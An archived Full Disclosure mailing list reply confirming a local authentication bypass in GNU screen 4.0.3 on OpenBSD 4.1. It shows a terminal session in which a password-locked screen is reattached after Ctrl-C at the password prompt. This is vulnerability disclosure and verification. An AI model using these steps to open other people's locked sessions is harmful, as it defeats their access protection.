Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Re: screen 4.0.3 local Authentication Bypass
From: "Paul Melson" <pmelson () gmail com>
Date: Tue, 5 Jun 2007 11:14:10 -0400


-----Original Message-----
Subject: Re: [Full-disclosure] screen 4.0.3 local Authentication Bypass

Verified on OpenBSD

I'm not seeing a 'Getpass error' message on 4.1-STABLE current, but there
does seem to be a problem with locking and reattaching:

$ screen
[space]
$ echo "This is the locked screen"
This is the locked screen
[^A^X]
Key: [asdf\r]
Again: [asdf\r]
Screen used by Paul <paul>.
Password: [^C]
$ [\r]
$ screen -r
$ echo "This is the locked screen"
This is the locked screen
$ exit
[screen is terminating]
$ uname -rmsv
OpenBSD 4.1 GENERIC.MP#0 i386

PaulM

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault